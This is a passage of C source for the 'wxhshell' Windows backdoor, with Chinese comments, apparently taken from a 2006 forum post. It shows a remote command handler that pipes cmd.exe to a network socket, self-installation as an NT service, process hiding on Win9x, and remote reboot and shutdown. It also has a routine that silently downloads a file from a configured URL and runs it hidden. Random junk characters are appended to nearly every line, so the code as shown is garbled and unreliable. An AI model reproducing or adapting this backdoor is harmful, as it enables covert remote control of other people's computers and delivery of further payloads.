  // 帮助 a2)*tbM 9\  
  case '?': { >'g60R[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ATewdq[C  
    break; m{Xf_rQ w  
  } T js{ )r9  
  // 安装 d-&dA_ ?  
  case 'i': { o%Q'<0d  
    if(Install()) cwU6}*_zn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \aRB   
    else ;G&O"S><]c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~i {)J  
    break; 5S?Xl|8E  
    } Ek\Zi#f<  
  // 卸载 w5R9\<3L  
  case 'r': { YWd(xm"4  
    if(Uninstall()) kQcQi}e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aq**w?l  
    else TK1M mL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Z0x2 jV  
    break; w8zQDPVB%  
    } :{imRa-  
  // 显示 wxhshell 所在路径 #f@53Pxb  
  case 'p': { 9K y,oB  
    char svExeFile[MAX_PATH]; h 'CLf]  
    strcpy(svExeFile,"\n\r"); SK2pOZN  
      strcat(svExeFile,ExeFile); v3]M;Y\  
        send(wsh,svExeFile,strlen(svExeFile),0); N#qoKY(#  
    break; wOSNlbQ5jl  
    } O3^@"IY  
  // 重启 O$\N]#  
  case 'b': { L(YT6Vmm+t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sbb{VV`I  
    if(Boot(REBOOT)) M QI=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VAz+J  
    else { !1]xKNp ]  
    closesocket(wsh); eVJL|uI|  
    ExitThread(0); P=g+6-1  
    } KJ |1zCM  
    break; *V+fRN4 W  
    } '/@VG_9L]  
  // 关机 |1$X`|S  
  case 'd': { B W1O1zIh\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v7RDoO]I  
    if(Boot(SHUTDOWN)) TR;-xst@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); svII =JB  
    else { Xp@OIn  
    closesocket(wsh); .- o,_eg1f  
    ExitThread(0); p_5+L@%Gb  
    } ={d\zjI$  
    break; .4-S|]/d,  
    } 4cL=f  
  // 获取shell JaTW/~ TU  
  case 's': { S|i //I%_  
    CmdShell(wsh); JD .z}2+  
    closesocket(wsh); : DP{YL|x  
    ExitThread(0); QX/`s3N  
    break; Y"U&3e,  
  } 3J{'|3x  
  // 退出 z5zm,Jw  
  case 'x': { n$K_KU v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $~l :l[Zs  
    CloseIt(wsh); \>Q,AyL  
    break; ZGBcy}U(k  
    } _=p|"~rN$  
  // 离开 gqamGLK  
  case 'q': { :\XD.n-n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6y5~Kh6  
    closesocket(wsh); 1,,:4 *)  
    WSACleanup(); ~M=`f{-$K  
    exit(1); (nG  
    break; {w(N9Va,(  
        } }r[BME  
  } [\y>Gv%  
  } TW$^]u~v  
G{9y`;  
  // 提示信息 {0~ p"%*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # jyAq$I0  
} 6C=.8eP  
  } nfEk,(:  
xae7#d0  
  return; T/nRc_I+^B  
} 6{ Eh={:b  
1U!CD-%(  
// shell模块句柄 5,3h'\ "!  
int CmdShell(SOCKET sock) h&P[9:LH  
{ N~_gT Jr~P  
STARTUPINFO si; N[%IrN3  
ZeroMemory(&si,sizeof(si)); Ex{]<6UAu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `K.yE0^i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o>h>#!e  
PROCESS_INFORMATION ProcessInfo; m;|I}{r  
char cmdline[]="cmd"; J=Z"sU=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =>Efrma  
  return 0; 92R{V%)G  
} 7UiU3SUcg  
K} @q+  
// 自身启动模式 {1 mD(+pJ{  
int StartFromService(void) n%}0hVu  
{ 7>TG ]&  
typedef struct NUseYU``  
{ {[eY/)6H  
  DWORD ExitStatus; 6/ )A6Tt  
  DWORD PebBaseAddress; Cq=c'(cX  
  DWORD AffinityMask; C\Rd]P8\  
  DWORD BasePriority; kBkhuKd)V  
  ULONG UniqueProcessId; += QboUN  
  ULONG InheritedFromUniqueProcessId; u&:jQ:[  
}   PROCESS_BASIC_INFORMATION; @,hvXl-G*  
`O F\f  
PROCNTQSIP NtQueryInformationProcess; 43YusUv  
sj1x>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (]L=$u4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xo}hu %XL  
+Aq}BjD#  
  HANDLE             hProcess; te_D  ,  
  PROCESS_BASIC_INFORMATION pbi; .$rcTZ  
B7 T+a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W#$rC<Jh]  
  if(NULL == hInst ) return 0; asb") NfIm  
R[6&{&E:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !Wk "a7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ay2.C BF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RN;Tqq):  
6K6ihR!d  
  if (!NtQueryInformationProcess) return 0; V*)gJg  
6Yu8ReuL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _F$?Z  
  if(!hProcess) return 0; :DEZ$gi  
5E]I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %NuS!v>  
Sn0 Gw  
  CloseHandle(hProcess); y~w$>7U.  
%~@}wHMB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S&yCclM  
if(hProcess==NULL) return 0; :(Gg]Z9^8  
Xv6s,<#\  
HMODULE hMod; 2KU [Yd  
char procName[255]; nX~sVG{Q  
unsigned long cbNeeded; g]S.u8K8m  
DY%E&Vd:h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }Q*8QV  
-7u4f y{T  
  CloseHandle(hProcess); -Rmz`yOq}  
MCvjdc3:  
if(strstr(procName,"services")) return 1; // 以服务启动 3>Yec6Hs  
3OTSLF/  
  return 0; // 注册表启动 \;~>AL*  
} -LF^u;s8&S  
6D>o(b2  
// 主模块 sXAXHZ{  
int StartWxhshell(LPSTR lpCmdLine) m$3&r2vgi  
{ :)&_  
  SOCKET wsl; FXIQS'  
BOOL val=TRUE; ^ `!6Yax?  
  int port=0; 5 gE  
  struct sockaddr_in door; hTF]-& hZ  
W n|w~{d{  
  if(wscfg.ws_autoins) Install(); v vFX\j3  
h4]yIM `8d  
port=atoi(lpCmdLine); _d: l1jD  
l+@NjZGm<  
if(port<=0) port=wscfg.ws_port; 3S Dw-k  
]kr OPM/  
  WSADATA data; Al! P=h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1L3L!@  
mwBOhEefNJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `.@N9+Aj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  {sbQf7)  
  door.sin_family = AF_INET; V7.EDE2A3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NcdOzx>  
  door.sin_port = htons(port); mZmwCS8  
'/mwXvl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4e* rBTl  
closesocket(wsl); 8{'L:yzMY  
return 1; }I !D65-#'  
} J?V8uEly  
hW]:CIqk  
  if(listen(wsl,2) == INVALID_SOCKET) { 7 'N&jI   
closesocket(wsl); rTQrlQ:@  
return 1; 94A re<  
} U:p<pTnMR  
  Wxhshell(wsl); TRa|}JaI"  
  WSACleanup(); B#8!8  
qWdL|8  
return 0; [W` _`  
\ qKh9  
} /K1YDq<=  
v. !L:1@I.  
// 以NT服务方式启动 H_Vf _p?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #49,7OBU  
{ JpN+'/  
DWORD   status = 0; 4~DoqT  
  DWORD   specificError = 0xfffffff; N|wI=To  
%kUIIH V}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; //xxSk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |?g k%g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (wkeo{lx  
  serviceStatus.dwWin32ExitCode     = 0; [+UF]m%W  
  serviceStatus.dwServiceSpecificExitCode = 0; |-bAz t  
  serviceStatus.dwCheckPoint       = 0; <a; <|Fm.  
  serviceStatus.dwWaitHint       = 0; h",kA(+P  
><+wHb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S U04q+  
  if (hServiceStatusHandle==0) return; n1X7T0'  
2+50ezsId  
status = GetLastError(); w\!aKeP'  
  if (status!=NO_ERROR) cE'MSB  
{ SRyAW\*LWU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N"Q-xK  
    serviceStatus.dwCheckPoint       = 0; It&$R`k  
    serviceStatus.dwWaitHint       = 0; qq G24**9v  
    serviceStatus.dwWin32ExitCode     = status; 7vZznN8e  
    serviceStatus.dwServiceSpecificExitCode = specificError; fnl~0   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %8s$l'Q;  
    return; 0@k)C z[0;  
  } :@mb.' %*!  
cyL"?vR*<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R^4JM,v9x`  
  serviceStatus.dwCheckPoint       = 0; }N dknut,  
  serviceStatus.dwWaitHint       = 0; #!qa#.Yi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xgou7x<  
} 3w6}%=)$8  
F$X"?fj  
// 处理NT服务事件,比如:启动、停止 ?U$H`[VF}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A&XI1. j6  
{ `ZhDoLpH<  
switch(fdwControl) 7b7@"Zw*  
{ 8Th{(J_  
case SERVICE_CONTROL_STOP: 5 o-WA1  
  serviceStatus.dwWin32ExitCode = 0; 7,X5]U&A<x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s|FfBG  
  serviceStatus.dwCheckPoint   = 0; bLuAe EA  
  serviceStatus.dwWaitHint     = 0; WKek^TW4HE  
  { >UlAae44  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $}+t|`*q8]  
  } RDGefxv  
  return;  xY v@  
case SERVICE_CONTROL_PAUSE: [M?'N w/[S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :@K 1pAh4  
  break; zg>4/10P1q  
case SERVICE_CONTROL_CONTINUE: O7vJ`K(!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d.>Zn?u4L  
  break; :%!` R72  
case SERVICE_CONTROL_INTERROGATE: 6ZKSet8  
  break; kbu.KU+  
}; VEFUj&t;xW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4C m+xAXG  
} Vh=10Et  
cc37(=o KL  
// 标准应用程序主函数 .d/e?H:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,%Sf,h?"^  
{ `,~8(rIM  
Ts)ox}rYVm  
// 获取操作系统版本 Y~,ZBl,  
OsIsNt=GetOsVer(); HFlMx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^I!u H1G  
1!/WC.0  
  // 从命令行安装 bMU0h,|]  
  if(strpbrk(lpCmdLine,"iI")) Install(); jxeZ,w o  
*e/8uFX  
  // 下载执行文件 |&wwH&<[z  
if(wscfg.ws_downexe) { {_[\k^98>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t:$^iUrx  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ct@OS227x  
} % XvJJ  
7UnB]-:.  
if(!OsIsNt) { xQA6!j  
// 如果时win9x,隐藏进程并且设置为注册表启动 zw ,( kv  
HideProc(); Xlg 0u.  
StartWxhshell(lpCmdLine); >_esLsPWh]  
} "Zr+>a  
else !N"Y  
  if(StartFromService()) C[c^zn  
  // 以服务方式启动 8>4@g!9E  
  StartServiceCtrlDispatcher(DispatchTable); \A#YL1hh  
else Q&\(m[:)  
  // 普通方式启动 ku*H*o~  
  StartWxhshell(lpCmdLine); 'j&+Pg)@  
^(79SOZC  
return 0; V)q|U6R  
}
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只看该作者 1 发表于: 2006-10-10
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